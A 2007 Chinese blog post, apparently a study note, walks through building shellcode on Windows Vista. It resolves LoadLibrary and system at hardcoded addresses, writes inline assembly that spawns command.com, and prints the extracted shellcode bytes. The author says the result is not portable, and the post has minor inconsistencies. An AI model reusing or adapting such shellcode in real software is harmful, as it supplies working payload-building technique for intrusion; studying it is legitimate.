提取ShellCode测试

2007-12-7 Nie.Meining Debug

今天在vista平台下做了提取ShellCode的测试,ShellCode功能简单,弹出一个简单Shell。
先做个代码原型:

int main()

{

    system("pause");

}

然后取得system()函数的地址:

#include "windows.h"

#include "stdio.h"

int main()

{

    printf("\\0x%x",system);

}

结果发现函数地址“飘忽不定”,每次运行都不一样……ASLR技术……

于是修改代码原型:

#include"windows.h"

#include"winbase.h"

typedef void (*MYPROC)(LPTSTR); 

int main()

{

HINSTANCE LibHandle;

MYPROC ProcAdd;

LibHandle = LoadLibrary("msvcrt.dll");

ProcAdd = (MYPROC)GetProcAddress(LibHandle,"system");

(ProcAdd)("command.com");

return 0;

}

这段代码虽然麻烦一点,但函数地址终于固定下来了(重启后同样也会改变,很是郁闷……)。通过printf查看,LoadLibrary和system分别为0x771a9a9e和0x76e5AB6B。

接下来汇编实现:

int main()

{

_asm{

   push ebp;

   mov ebp,esp;

   xor eax,eax;

   push eax;

   push eax;

   push eax;

   mov byte ptr[ebp-0ch],'m';

   mov byte ptr[ebp-0bh],'s';

   mov byte ptr[ebp-0ah],'v';

   mov byte ptr[ebp-09h],'c';

   mov byte ptr[ebp-08h],'r';

   mov byte ptr[ebp-07h],'t';

   mov byte ptr[ebp-06h],'.';

   mov byte ptr[ebp-05h],'d';

   mov byte ptr[ebp-04h],'l';

   mov byte ptr[ebp-03h],'l';

   lea eax,[ebp-0ch];

   push eax;                      //参数入栈

   mov eax,0x771a9a9e;

   call eax;                      //实现LoadLibrary("msvcrt.dll");

   push ebp;

   mov ebp,esp;

   xor edi,edi;

   push edi;

   sub esp,08h;

   mov byte ptr [ebp-0ch],'c';

   mov byte ptr [ebp-0bh],'o';

   mov byte ptr [ebp-0ah],'m';

   mov byte ptr [ebp-09h],'m';

   mov byte ptr [ebp-08h],'a';

   mov byte ptr [ebp-07h],'n';

   mov byte ptr [ebp-06h],'d';

   mov byte ptr [ebp-05h],'.';

   mov byte ptr [ebp-04h],'c';

   mov byte ptr [ebp-03h],'o';

   mov byte ptr [ebp-02h],'m';

   lea eax,[ebp-0ch];

   push eax;                      //参数入栈

   mov eax,0x76e5AB6B;

   call eax;                      //实现system(“command.exe”);

   }

}

编译通过,成功执行!
最后提取出ShellCode:

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x6D\xC6\x45\xF5\x73"

"\xC6\x45\xF6\x76\xC6\x45\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74"

"\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x45\xFC\x6C\xC6\x45\xFD\x6C"

"\x8D\x45\xF4\x50\xB8\x9E\x9A\x1A\x77\xFF\xD0\x55\x8B\xEC\x33\xFF"

"\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45\xF6\x6D"

"\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64"

"\xC6\x45\xFB\x2E\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D"

\x8D\x45\xF4\x50\xB8\x6B\xAB\xE5\x76\xFF\xD0"

总结:本次ShellCode提取过程还算顺利,但本次提取出的ShellCode毫无通用性可言,根本无法用于攻击实战……而且存在很多未解决的疑问,比如通用性问题,感觉整个思路都得改变一下……

发表评论:

Powered by emlog